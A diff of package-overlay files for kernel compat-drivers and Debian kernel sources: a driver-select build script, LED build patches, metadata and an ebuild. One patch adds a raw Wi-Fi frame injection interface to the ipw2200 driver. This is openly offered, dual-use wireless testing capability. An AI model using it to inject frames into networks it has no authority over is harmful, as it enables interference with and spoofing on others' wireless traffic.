+		ath)
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			disable var_01
+			;;
+		intel)
+			select_drivers		CONFIG_IWLWIFI \
+						CONFIG_IWLEGACY \
+						CONFIG_IPW
+			disable staging
+			disable var
+			disable bt
+			disable ethernet
+			disable usbnet
+			;;
+		iwlwifi)
+			select_drivers		CONFIG_IWLWIFI
+			disable staging
+			disable var_01
+			disable bt
+			disable ethernet
+			disable usbnet
+			;;
+		iwlegacy)
+			select_drivers		CONFIG_IWLEGACY
+			disable staging
+			disable var_01
+			disable bt
+			disable ethernet
+			disable usbnet
+			;;
+		rtl818x)
+			select_drivers		CONFIG_RTL8180 CONFIG_RTL8187
+			disable staging
+			disable bt_usb_ethernet
+			disable ssb
+			disable bcma
+			disable lib80211
+			;;
+		rtlwifi)
+			select_drivers		CONFIG_RTL8192CE CONFIG_RTLWIFI
+			disable staging
+			disable_bt_usb_ethernet_var
+			disable lib80211
+			;;
+		ti)
+			select_drivers		CONFIG_WL_TI
+			disable_bt_usb_ethernet_var
+			disable staging
+			disable var_01
+			;;
+		brcm80211)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_BRCMUTIL \
+						CONFIG_BRCMFMAC \
+						CONFIG_BRCMSMAC
+			;;
+	# Singular modules
+		ath5k)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath_driver	CONFIG_ATH5K
+			#patch -p1 < enable-older-kernels/enable-2.6.23.patch
+			;;
+		ath9k)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath9k_driver
+			;;
+		ath9k_ap)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath9k_driver_ap
+			;;
+		carl9170)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath_driver	CONFIG_CARL9170
+			;;
+		ath9k_htc)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath9k_driver
+			;;
+		ath6kl)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath_driver	CONFIG_ATH6KL
+			;;
+		wil6210)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath_no_common	CONFIG_WIL6210
+			;;
+		brcmsmac)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_BRCMSMAC
+			select_brcm80211_driver	CONFIG_BRCMSMAC CONFIG_BRCMUTIL
+			;;
+		brcmfmac)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_BRCMFMAC
+			select_brcm80211_driver	CONFIG_BRCMFMAC CONFIG_BRCMUTIL
+			;;
+		zd1211rw)
+			select_drivers		CONFIG_COMPAT_ZD1211RW
+			disable staging
+			disable var_01
+			;;
+		b43)
+			disable staging
+			disable bt_usb_ethernet
+			disable eeprom
+			disable lib80211
+			select_drivers		CONFIG_B43
+			;;
+		rt2x00)
+			select_drivers		CONFIG_RT2X00
+			disable staging
+			disable_bt_usb_ethernet
+			disable var_02
+			;;
+		wl1251)
+			select_ti_drivers	CONFIG_WL1251
+			disable staging
+			disable var_01
+			;;
+		wl12xx)
+			select_ti_drivers	CONFIG_WL12XX
+			disable staging
+			disable var_01
+			;;
+		wl18xx)
+			select_ti_drivers	CONFIG_WL18XX
+			disable staging
+			disable var_01
+			;;
+	# Ethernet and Bluetooth drivers
+		atl1)
+			enable_only_ethernet
+			disable b44
+			# echo -e "obj-\$(CONFIG_ATL1) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			CPD_ADD_ATHEROS+="obj-\$(CONFIG_ATL1) += atlx/\n"
+			;;
+		atl2)
+			enable_only_ethernet
+			disable b44
+			# echo -e "obj-\$(CONFIG_ATL2) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			CPD_ADD_ATHEROS+="obj-\$(CONFIG_ATL2) += atlx/\n"
+			;;
+		atl1e)
+			enable_only_ethernet
+			disable b44
+			# echo -e "obj-\$(CONFIG_ATL1E) += atl1e/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			CPD_ADD_ATHEROS+="obj-\$(CONFIG_ATL1E) += atl1e/\n"
+			;;
+		atl1c)
+			enable_only_ethernet
+			disable b44
+			# echo -e "obj-\$(CONFIG_ATL1C) += atl1c/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			CPD_ADD_ATHEROS+="obj-\$(CONFIG_ATL1C) += atl1c/\n"
+			;;
+		alx)
+			enable_only_ethernet
+			disable b44
+			# echo -e "obj-\$(CONFIG_ALX) += alx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			CPD_ADD_ATHEROS+="obj-\$(CONFIG_ALX) += alx/\n"
+			;;
+		atlxx)
+			select_drivers		CONFIG_ATL1 CONFIG_ATL2 CONFIG_ATL1E CONFIG_ALX
+			enable_only_ethernet
+			disable b44
+			disable update-initramfs
+			;;
+		bt)
+			select_drivers 		CONFIG_BT
+			disable var
+			disable ethernet
+			disable staging
+			disable 80211
+			;;
+		i915)
+			enable_only_drm
+			;;
+		drm)
+			enable_only_drm
+			;;
+		*)
+			./$0 usage
+			die "Unsupported driver: ${arg}"
+			exit 1
+			;;
+	esac
+done
+
+# special for ath9k_ap
+# this filter is only applied when no other driver is selected
+if [ "${CPD_SELECTED_DRIVERS}" == " ath9k_ap" ]; then
+	eval "CPD_COMPAT_CONFIG_CW+=\" CONFIG_COMPAT_ATH9K_RATE_CONTROL\"" \
+		|| die "Failed to apply special filter for ath9k_ap"
+fi
+
+if [[ ! -f built-in.o ]]; then
+	if [[ "$1" != "restore" ]]; then
+		echo -e "${PURPLE}Processing new driver-select request...${NORMAL}"
+	fi
+fi
+
+# This internal function checks if the first argument is contained in the rest
+# of the arguments
+function has {
+    local x=$1
+    shift
+    local y
+    for y in "$@"; do
+        [ "${y}" = "${x}" ] && return 0
+    done
+    return 1
+}
+
+# this internal function checks if both groups and single modules were selected
+# this is not supported
+function check_groups {
+	local mods=
+	local grps=
+	for CPD_MODULE in ${CPD_SELECTED_DRIVERS}; do
+		if has "${CPD_MODULE}" ${SUPPORTED_DRIVERS}; then
+			mods+=" ${CPD_MODULE}"
+		else
+			grps+=" ${CPD_MODULE}"
+		fi
+	done
+	[ ! "${mods}" == '' ] && [ ! "${grps}" == '' ] && \
+		die "Mixing group and single drivers is not supported by this script! Groups: <${grps}> Drivers: <${mods}>"
+}
+check_groups
+
+# set phase to write
+CPD_PHASE=2
+
+# Always backup the top level Makefile, unless restoring
+if [[ "$1" != "restore" ]]; then
+	backup_file Makefile
+fi
+
+# If a user selects a new driver make sure we clean up for them
+# first and also restore the backup makefiles then. Otherwise
+# we'll be trying to leave drivers on Makefiles which are not
+# already there from a previous run.
+if [ -f built-in.o ]; then
+	echo -e "${PURPLE}Old build found, going to clean this up first...${NORMAL}"
+	make clean
+	echo -e "${PURPLE}Restoring Makefiles...${NORMAL}"
+	./$0 restore
+fi
+
+# This function reads the configuration (disable-actions and filters) for each
+# single active flag, then constructs and applies the common configuration set.
+function src_configure {
+	local use_enabled_list="${CPD_SELECTED_DRIVERS}"
+	# compose common disable list for all flags
+	# 1st module/flag
+	local iuse1="$(echo $use_enabled_list | cut -d ' ' -f 1)" || die
+	eval "local disable_list=\$CPD_DISABLE_${iuse1}" || die
+	local iuse
+	local dis
+	for iuse in ${use_enabled_list}; do
+		if [ "${iuse}" != "${iuse1}" ]; then
+			local disable_list_new=''
+			eval "local disable_list_other=\$CPD_DISABLE_${iuse}" || die
+			for dis in ${disable_list}; do
+				has "${dis}" ${disable_list_other} && \
+					disable_list_new+=" ${dis}"
+			done
+			disable_list="${disable_list_new}"
+		fi
+	done
+	# sort and remove duplicates
+	disable_list=$(printf '%s\n' ${disable_list} | sort -u | tr '\n' ' ') || die
+
+	# prepend to atheros Makefile
+	if [ "${CPD_ADD_ATHEROS}" != '' ]; then
+		# ensure that backup file exists
+		backup_file "$(get_makefile DRIVERS_NET_ATHEROS)"
+		# prepend using backup
+		echo -e "${CPD_ADD_ATHEROS}"|cat - \
+			"$(get_makefile DRIVERS_NET_ATHEROS).${BACKUP_EXT}" > \
+			"$(get_makefile DRIVERS_NET_ATHEROS)" \
+			|| die "Failed to prepend to atheros Makefile"
+		echo -e "Prepended to atheros Makefile ...${NORMAL}"
+	fi
+	# execute all filters for the Makefiles
+	local file
+	for file in ${CPD_MAKEFILES}; do
+		eval "local filter_list=\$CPD_${file}" || die
+		if [ -n "${filter_list}" ]; then
+			# sort and remove duplicates
+			filter_list=$(printf '%s\n' ${filter_list} | sort -u | tr '\n' ' ')\
+				|| die
+			echo -e "Filtering ${CYAN}$(get_makefile ${file})${NORMAL} for: ${CYAN}${filter_list}${NORMAL}"
+			select_drivers_from_makefile "${file}" "${filter_list}" || die
+		fi
+	done
+	# execute common disable list
+	echo -e "Common disable list: ${CYAN}${disable_list}${NORMAL}"
+	for dis in ${disable_list}; do
+		echo -e "Running disable function: ${CYAN}disable_${dis}${NORMAL}"
+		eval "disable_${dis}" || die
+	done
+}
+
+# call src_configure ...
+src_configure || die "Failed on src_configure ..."
diff --git a/sys-kernel/compat-drivers/files/ipw2200-inject.3.4.6.patch b/sys-kernel/compat-drivers/files/ipw2200-inject.3.4.6.patch
new file mode 100644
index 00000000..941bbc50
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/ipw2200-inject.3.4.6.patch
@@ -0,0 +1,120 @@
+diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c
+--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c	2010-10-21 04:30:22.000000000 +0800
++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c	2010-12-08 22:22:41.937999976 +0800
+@@ -216,6 +216,7 @@
+ static int ipw_queue_tx_hcmd(struct ipw_priv *priv, int hcmd, void *buf,
+ 			     int len, int sync);
+ 
++static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb, int pri);
+ static void ipw_tx_queue_free(struct ipw_priv *);
+ 
+ static struct ipw_rx_queue *ipw_rx_queue_alloc(struct ipw_priv *);
+@@ -1911,6 +1912,63 @@
+ static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO,
+ 		   show_net_stats, store_net_stats);
+ 
++/* SYSFS INJECT */
++static ssize_t store_inject(struct device *d,
++        struct device_attribute *attr,
++        const char *buf, size_t count)
++{
++        struct ipw_priv *priv = dev_get_drvdata(d);
++        struct libipw_device *ieee = priv->ieee;
++        struct libipw_txb *txb;
++        struct sk_buff *skb_frag;
++        unsigned char *newbuf;
++        unsigned long flags;
++
++        // should test (ieee->is_queue_full)
++
++        // Fw only accepts data, so avoid accidental fw errors.
++        if ( (buf[0]&0x0c) != '\x08') {
++              //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]);
++              return count;
++        }
++
++        if (count>1500) {
++              count=1500;
++              printk("ipw2200: inject: cutting down frame to 1500 bytes\n");
++        }
++
++        spin_lock_irqsave(&priv->lock, flags);
++
++        // Create a txb with one skb
++        txb = kmalloc(sizeof(struct libipw_txb) + sizeof(u8 *), GFP_ATOMIC);
++        if (!txb)
++              goto nosepuede;
++        txb->nr_frags=1;
++        txb->frag_size = ieee->tx_headroom;
++        txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC);
++        if (!txb->fragments[0]) {
++              kfree(txb);
++              goto nosepuede;
++        }
++        skb_reserve(txb->fragments[0], ieee->tx_headroom);
++        txb->encrypted=0;
++        txb->payload_size=count;
++        skb_frag = txb->fragments[0];
++        newbuf=skb_put(skb_frag, count);
++
++        // copy data into txb->skb and send it
++        memcpy(newbuf, buf, count);
++
++        ipw_tx_skb(priv, txb, 0);
++
++nosepuede:
++        spin_unlock_irqrestore(&priv->lock, flags);
++        return count;
++}
++
++
++static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject);
++
+ static ssize_t show_channels(struct device *d,
+ 			     struct device_attribute *attr,
+ 			     char *buf)
+@@ -10214,7 +10272,6 @@
+ modify to send one tfd per fragment instead of using chunking.  otherwise
+ we need to heavily modify the libipw_skb_to_txb.
+ */
+-
+ static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb,
+ 			     int pri)
+ {
+@@ -10544,6 +10601,12 @@
+ 	mutex_lock(&priv->mutex);
+ 	priv->config |= CFG_CUSTOM_MAC;
+ 	memcpy(priv->mac_addr, addr->sa_data, ETH_ALEN);
++
++#ifdef CONFIG_IPW2200_PROMISCUOUS
++	if (rtap_iface)
++	 memcpy(priv->prom_net_dev->dev_addr, addr->sa_data, ETH_ALEN);
++#endif
++
+ 	printk(KERN_INFO "%s: Setting MAC to %pM\n",
+ 	       priv->net_dev->name, priv->mac_addr);
+ 	schedule_work(&priv->adapter_restart);
+@@ -11597,6 +11660,7 @@
+ #ifdef CONFIG_IPW2200_PROMISCUOUS
+ 	&dev_attr_rtap_iface.attr,
+ 	&dev_attr_rtap_filter.attr,
++	&dev_attr_inject.attr,
+ #endif
+ 	NULL
+ };
+diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h
+--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h	2010-10-21 04:30:22.000000000 +0800
++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h	2010-12-08 22:20:01.561000000 +0800
+@@ -2014,4 +2014,12 @@
+ 
+ #define IPW_MAX_CONFIG_RETRIES 10
+ 
++/*
++ * Hhack to get code compiling on new kernels, the define below
++ * seem to be removed from the linux headers.
++ */
++#ifndef MAC_ARG
++#define MAC_ARG(x) ((u8*)(x))[0],((u8*)(x))[1],((u8*)(x))[2],((u8*)(x))[3],((u8*)(x))[4],((u8*)(x))[5]
++#endif
++
+ #endif				/* __ipw2200_h__ */
diff --git a/sys-kernel/compat-drivers/files/leds-disable-strict-3.6.6.patch b/sys-kernel/compat-drivers/files/leds-disable-strict-3.6.6.patch
new file mode 100644
index 00000000..fbc8d159
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/leds-disable-strict-3.6.6.patch
@@ -0,0 +1,30 @@
+--- drivers/net/wireless/rt2x00/rt2x00leds.c
++++ drivers/net/wireless/rt2x00/rt2x00leds.c
+@@ -29,6 +29,7 @@
+ #include "rt2x00.h"
+ #include "rt2x00lib.h"
+ 
++#ifdef CONFIG_RT2X00_LIB_LEDS
+ void rt2x00leds_led_quality(struct rt2x00_dev *rt2x00dev, int rssi)
+ {
+ 	struct rt2x00_led *led = &rt2x00dev->led_qual;
+@@ -244,3 +245,4 @@
+ 	if (rt2x00dev->led_qual.flags & LED_REGISTERED)
+ 		rt2x00leds_resume_led(&rt2x00dev->led_qual);
+ }
++#endif /* CONFIG_RT2X00_LIB_LEDS */
+--- net/mac80211/led.c
++++ net/mac80211/led.c
+@@ -12,6 +12,7 @@
+ #include <linux/export.h>
+ #include "led.h"
+ 
++#ifdef CONFIG_MAC80211_LEDS
+ void ieee80211_led_rx(struct ieee80211_local *local)
+ {
+ 	if (unlikely(!local->rx_led))
+@@ -307,3 +308,4 @@
+ 	else
+ 		ieee80211_start_tpt_led_trig(local);
+ }
++#endif /* CONFIG_MAC80211_LEDS */
diff --git a/sys-kernel/compat-drivers/files/leds-disable-strict-3.7_rc1_p6.patch b/sys-kernel/compat-drivers/files/leds-disable-strict-3.7_rc1_p6.patch
new file mode 100644
index 00000000..fbc8d159
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/leds-disable-strict-3.7_rc1_p6.patch
@@ -0,0 +1,30 @@
+--- drivers/net/wireless/rt2x00/rt2x00leds.c
++++ drivers/net/wireless/rt2x00/rt2x00leds.c
+@@ -29,6 +29,7 @@
+ #include "rt2x00.h"
+ #include "rt2x00lib.h"
+ 
++#ifdef CONFIG_RT2X00_LIB_LEDS
+ void rt2x00leds_led_quality(struct rt2x00_dev *rt2x00dev, int rssi)
+ {
+ 	struct rt2x00_led *led = &rt2x00dev->led_qual;
+@@ -244,3 +245,4 @@
+ 	if (rt2x00dev->led_qual.flags & LED_REGISTERED)
+ 		rt2x00leds_resume_led(&rt2x00dev->led_qual);
+ }
++#endif /* CONFIG_RT2X00_LIB_LEDS */
+--- net/mac80211/led.c
++++ net/mac80211/led.c
+@@ -12,6 +12,7 @@
+ #include <linux/export.h>
+ #include "led.h"
+ 
++#ifdef CONFIG_MAC80211_LEDS
+ void ieee80211_led_rx(struct ieee80211_local *local)
+ {
+ 	if (unlikely(!local->rx_led))
+@@ -307,3 +308,4 @@
+ 	else
+ 		ieee80211_start_tpt_led_trig(local);
+ }
++#endif /* CONFIG_MAC80211_LEDS */
diff --git a/sys-kernel/compat-drivers/files/leds-disable-strict-3.8.patch b/sys-kernel/compat-drivers/files/leds-disable-strict-3.8.patch
new file mode 100644
index 00000000..fbc8d159
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/leds-disable-strict-3.8.patch
@@ -0,0 +1,30 @@
+--- drivers/net/wireless/rt2x00/rt2x00leds.c
++++ drivers/net/wireless/rt2x00/rt2x00leds.c
+@@ -29,6 +29,7 @@
+ #include "rt2x00.h"
+ #include "rt2x00lib.h"
+ 
++#ifdef CONFIG_RT2X00_LIB_LEDS
+ void rt2x00leds_led_quality(struct rt2x00_dev *rt2x00dev, int rssi)
+ {
+ 	struct rt2x00_led *led = &rt2x00dev->led_qual;
+@@ -244,3 +245,4 @@
+ 	if (rt2x00dev->led_qual.flags & LED_REGISTERED)
+ 		rt2x00leds_resume_led(&rt2x00dev->led_qual);
+ }
++#endif /* CONFIG_RT2X00_LIB_LEDS */
+--- net/mac80211/led.c
++++ net/mac80211/led.c
+@@ -12,6 +12,7 @@
+ #include <linux/export.h>
+ #include "led.h"
+ 
++#ifdef CONFIG_MAC80211_LEDS
+ void ieee80211_led_rx(struct ieee80211_local *local)
+ {
+ 	if (unlikely(!local->rx_led))
+@@ -307,3 +308,4 @@
+ 	else
+ 		ieee80211_start_tpt_led_trig(local);
+ }
++#endif /* CONFIG_MAC80211_LEDS */
diff --git a/sys-kernel/compat-drivers/metadata.xml b/sys-kernel/compat-drivers/metadata.xml
new file mode 100644
index 00000000..7a88dd2a
--- /dev/null
+++ b/sys-kernel/compat-drivers/metadata.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<use>
+<flag name="injection">Add patches for better wifi injection support</flag>
+<flag name="build-all-modules">Bypass any filtering of the modules and build them all. Use only when no other flag works!</flag>
+<flag name="compat_drivers_ethernet_alx">COMPAT_DRIVERS_ETHERNET setting to build driver for alx ethernet cards</flag>
+<flag name="compat_drivers_ethernet_atl1">COMPAT_DRIVERS_ETHERNET setting to build driver for atl1 ethernet cards</flag>
+<flag name="compat_drivers_ethernet_atl1c">COMPAT_DRIVERS_ETHERNET setting to build driver for atl1c ethernet cards</flag>
+<flag name="compat_drivers_ethernet_atl1e">COMPAT_DRIVERS_ETHERNET setting to build driver for atl1e ethernet cards</flag>
+<flag name="compat_drivers_ethernet_atl2">COMPAT_DRIVERS_ETHERNET setting to build driver for atl2 ethernet cards</flag>
+<flag name="compat_drivers_ethernet_atlxx">COMPAT_DRIVERS_ETHERNET setting to build driver for atlxx ethernet cards</flag>
+<flag name="compat_drivers_various_bt">COMPAT_DRIVERS_VARIOUS setting to build driver for bluetooth devices</flag>
+<flag name="compat_drivers_various_drm">COMPAT_DRIVERS_VARIOUS setting to build driver for drm devices</flag>
+<flag name="compat_drivers_various_i915">COMPAT_DRIVERS_VARIOUS setting to build driver for i915 devices</flag>
+<flag name="compat_drivers_various_staging">COMPAT_DRIVERS_VARIOUS setting to build driver for staging devices</flag>
+<flag name="compat_drivers_various_usbnet">COMPAT_DRIVERS_VARIOUS setting to build driver for usbnet devices</flag>
+<flag name="compat_drivers_wifi_ath5k">COMPAT_DRIVERS_WIFI setting to build driver for ath5k wireless cards</flag>
+<flag name="compat_drivers_wifi_ath6kl">COMPAT_DRIVERS_WIFI setting to build driver for ath6kl wireless cards</flag>
+<flag name="compat_drivers_wifi_ath9k">COMPAT_DRIVERS_WIFI setting to build driver for ath9k wireless cards</flag>
+<flag name="compat_drivers_wifi_ath9k_ap">COMPAT_DRIVERS_WIFI setting to build driver for ath9k_ap wireless cards</flag>
+<flag name="compat_drivers_wifi_ath9k_htc">COMPAT_DRIVERS_WIFI setting to build driver for ath9k_htc wireless cards</flag>
+<flag name="compat_drivers_wifi_b43">COMPAT_DRIVERS_WIFI setting to build driver for b43 wireless cards</flag>
+<flag name="compat_drivers_wifi_b44">COMPAT_DRIVERS_WIFI setting to build driver for b44 wireless cards</flag>
+<flag name="compat_drivers_wifi_brcmfmac">COMPAT_DRIVERS_WIFI setting to build driver for brcmfmac wireless cards</flag>
+<flag name="compat_drivers_wifi_brcmsmac">COMPAT_DRIVERS_WIFI setting to build driver for brcmsmac wireless cards</flag>
+<flag name="compat_drivers_wifi_carl9170">COMPAT_DRIVERS_WIFI setting to build driver for carl9170 wireless cards</flag>
+<flag name="compat_drivers_wifi_rt2x00">COMPAT_DRIVERS_WIFI setting to build driver for rt2x00 wireless cards</flag>
+<flag name="compat_drivers_wifi_wil6210">COMPAT_DRIVERS_WIFI setting to build driver for wil6210 wireless cards</flag>
+<flag name="compat_drivers_wifi_wl1251">COMPAT_DRIVERS_WIFI setting to build driver for wl1251 wireless cards</flag>
+<flag name="compat_drivers_wifi_wl12xx">COMPAT_DRIVERS_WIFI setting to build driver for wl12xx wireless cards</flag>
+<flag name="compat_drivers_wifi_wl18xx">COMPAT_DRIVERS_WIFI setting to build driver for wl18xx wireless cards</flag>
+<flag name="compat_drivers_wifi_zd1211rw">COMPAT_DRIVERS_WIFI setting to build driver for zd1211rw wireless cards</flag>
+</use>
+</pkgmetadata>
diff --git a/sys-kernel/debian-sources-lts/Manifest b/sys-kernel/debian-sources-lts/Manifest
new file mode 100644
index 00000000..c5e32f78
--- /dev/null
+++ b/sys-kernel/debian-sources-lts/Manifest
@@ -0,0 +1,4 @@
+DIST linux-2.6_2.6.32-41.diff.gz 15924342 SHA256 4c22fc57902393b12b12fcc3c8ed04d7a99eb4fe311131fb1f647d48a9d85c19
+DIST linux-2.6_2.6.32-43.diff.gz 16261810 SHA256 57f8a8021e590c1c0cb65afccd3f6e78716314db3ac78fae8ddaebb2ebf36801
+DIST linux-2.6_2.6.32-46.diff.gz 16321966 SHA256 8e6220b01f30ee9acb3ae8a6a7825f054ddbe447914cd0a6d60cfb29b7553467 SHA512 047407593c281c2b9920acc6fa173c414d582823e66601894648050828d14c6fa3a07b99c48b53fcd16d6a1fa128f705246f1fa0c3d6715fa3e2a5fa7a7d083a WHIRLPOOL 68e480843569cd802d9c6d3390136f1aad149142527b1cedff8c9cd56ca764a8a83e2f8b88569ef9dbfc8569bbf18062abc6490a31a7ff352f567a2345cabc0c
+DIST linux-2.6_2.6.32.orig.tar.gz 82167227 SHA256 e9858964b9d836293e1fe3736658ab1ba20c5897b504ddb09dd4b64ec05a043d
diff --git a/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.41-r1.ebuild b/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.41-r1.ebuild
new file mode 100644
index 00000000..db111499
--- /dev/null
+++ b/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.41-r1.ebuild
@@ -0,0 +1,161 @@
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=2
+
+inherit mount-boot
+
+SLOT=$PVR
+CKV=2.6.32
+KV_FULL=${PN}-${PVR}
+KERNEL_ARCHIVE="linux-2.6_2.6.32.orig.tar.gz"
+RESTRICT="binchecks strip"
+# based on : http://packages.ubuntu.com/maverick/linux-image-2.6.35-22-server
+LICENSE="GPL-2"
+KEYWORDS="*"
+IUSE="openvz binary"
+DEPEND="binary? ( >=sys-kernel/genkernel-3.4.12.6-r4 )"
+RDEPEND="binary? ( || ( >=sys-fs/udev-160 >=virtual/udev-171 ) )"
+DESCRIPTION="Debian Sources (and optional binary kernel)"
+HOMEPAGE="http://www.debian.org"
+MAINPATCH="linux-2.6_2.6.32-41.diff.gz"
+SRC_URI="http://ftp.bg.debian.org/debian/pool/main/l/linux-2.6/${KERNEL_ARCHIVE}
+	 http://ftp.bg.debian.org/debian/pool/main/l/linux-2.6/${MAINPATCH}"
+S="$WORKDIR/linux-${CKV}"
+
+apply() {
+	p=$1; shift
+	case "${p##*.}" in
+		gz)
+			ca="gzip -dc"
+			;;
+		bz2)
+			ca="bzip2 -dc"
+			;;
+		xz)
+			ca="xz -dc"
+			;;
+		*)
+			ca="cat"
+			;;
+	esac
+	[ ! -e $p ] && die "patch $p not found"
+	echo "Applying patch $p"; $ca $p | patch $* || die "patch $p failed"
+}
+
+pkg_setup() {
+	unset ARCH; unset LDFLAGS #will interfere with Makefile if set
+}
+
+src_unpack() {
+	cd ${WORKDIR}
+	unpack ${KERNEL_ARCHIVE}
+}
+
+src_prepare() {
+	cd ${WORKDIR}
+	apply $DISTDIR/$MAINPATCH -p1
+
+	# debian-specific stuff....
+
+	mv linux-* ${S##*/} || die
+	mv debian ${S##*/}/ || die
+	cd ${S}
+	sed -i \
+		-e 's/^sys.path.append.*$/sys.path.append(".\/debian\/lib\/python")/' \
+		-e 's/^_default_home =.*$/_default_home = ".\/debian\/patches"/' \
+		debian/bin/patch.apply || die
+	python2 debian/bin/patch.apply $KV_DEB || die
+	if use openvz
+	then
+		python2 debian/bin/patch.apply -a $ARCH -f openvz || die
+	fi
+
+	# end of debian-specific stuff...
+
+	sed -i -e "s:^\(EXTRAVERSION =\).*:\1 ${EXTRAVERSION}:" Makefile || die
+	sed	-i -e 's:#export\tINSTALL_PATH:export\tINSTALL_PATH:' Makefile || die
+	rm -f .config >/dev/null
+	cp -a debian ${T} || die "couldn't back up debian dir (will be wiped by mrproper)"
+	make -s mrproper || die "make mrproper failed"
+	cp -a ${T}/debian . || die "couldn't restore debian directory"
+	make -s include/linux/version.h || die "make include/linux/version.h failed"
+	#mv "${TEMP}/configs" "${S}" || die
+	cd ${S}
+	local opts
+	use openvz && opts="openvz"
+	local myarch="amd64"
+	[ "$ARCH" = "x86" ] && myarch="i386"
+	cp ${FILESDIR}/config-extract . || die
+	chmod +x config-extract || die
+	./config-extract ${myarch} ${opts} || die
+	cp .config ${T}/config || die
+	make -s mrproper || die "make mrproper failed"
+	make -s include/linux/version.h || die "make include/linux/version.h failed"
+}
+
+src_compile() {
+	! use binary && return
+	install -d ${WORKDIR}/out/{lib,boot}
+	install -d ${T}/{cache,twork}
+	install -d $WORKDIR/build $WORKDIR/out/lib/firmware
+	genkernel \
+		--no-save-config \
+		--kernel-config="$T/config" \
+		--kernname="${PN}" \
+		--build-src="$S" \
+		--build-dst=${WORKDIR}/build \
+		--makeopts="${MAKEOPTS}" \
+		--firmware-dst=${WORKDIR}/out/lib/firmware \
+		--cachedir="${T}/cache" \
+		--tempdir="${T}/twork" \
+		--logfile="${WORKDIR}/genkernel.log" \
+		--bootdir="${WORKDIR}/out/boot" \
+		--lvm \
+		--luks \
+		--iscsi \
+		--module-prefix="${WORKDIR}/out" \
+		all || die "genkernel failed"
+}
+
+src_install() {
+	# copy sources into place:
+	dodir /usr/src
+	cp -a ${S} ${D}/usr/src/linux-${P} || die
+	cd ${D}/usr/src/linux-${P}
+	# prepare for real-world use and 3rd-party module building:
+	make mrproper || die
+	cp ${T}/config .config || die
+	cp -a ${T}/debian debian || die
+	yes "" | make oldconfig || die
+	# if we didn't use genkernel, we're done. The kernel source tree is left in
+	# an unconfigured state - you can't compile 3rd-party modules against it yet.
+	use binary || return
+	make prepare || die
+	make scripts || die
+	# OK, now the source tree is configured to allow 3rd-party modules to be
+	# built against it, since we want that to work since we have a binary kernel
+	# built.
+	cp -a ${WORKDIR}/out/* ${D}/ || die "couldn't copy output files into place"
+	# module symlink fixup:
+	rm -f ${D}/lib/modules/*/source || die
+	rm -f ${D}/lib/modules/*/build || die
+	cd ${D}/lib/modules
+	# module strip:
+	find -iname *.ko -exec strip --strip-debug {} \;
+	# back to the symlink fixup:
+	local moddir="$(ls -d [23]*)"
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/source || die
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/build || die
+
+        # Fixes FL-14
+        cp "${WORKDIR}/build/System.map" "${D}/usr/src/linux-${P}/" || die
+        cp "${WORKDIR}/build/Module.symvers" "${D}/usr/src/linux-${P}/" || die
+
+}
+
+pkg_postinst() {
+	if [ ! -e ${ROOT}usr/src/linux ]
+	then
+		ln -s linux-${P} ${ROOT}usr/src/linux
+	fi
+}
diff --git a/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.41.ebuild b/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.41.ebuild
new file mode 100644
index 00000000..2b9f5974
--- /dev/null
+++ b/sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.41.ebuild
@@ -0,0 +1,156 @@
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=2
+
+inherit mount-boot
+
+SLOT=$PVR
+CKV=2.6.32
+KV_FULL=${PN}-${PVR}
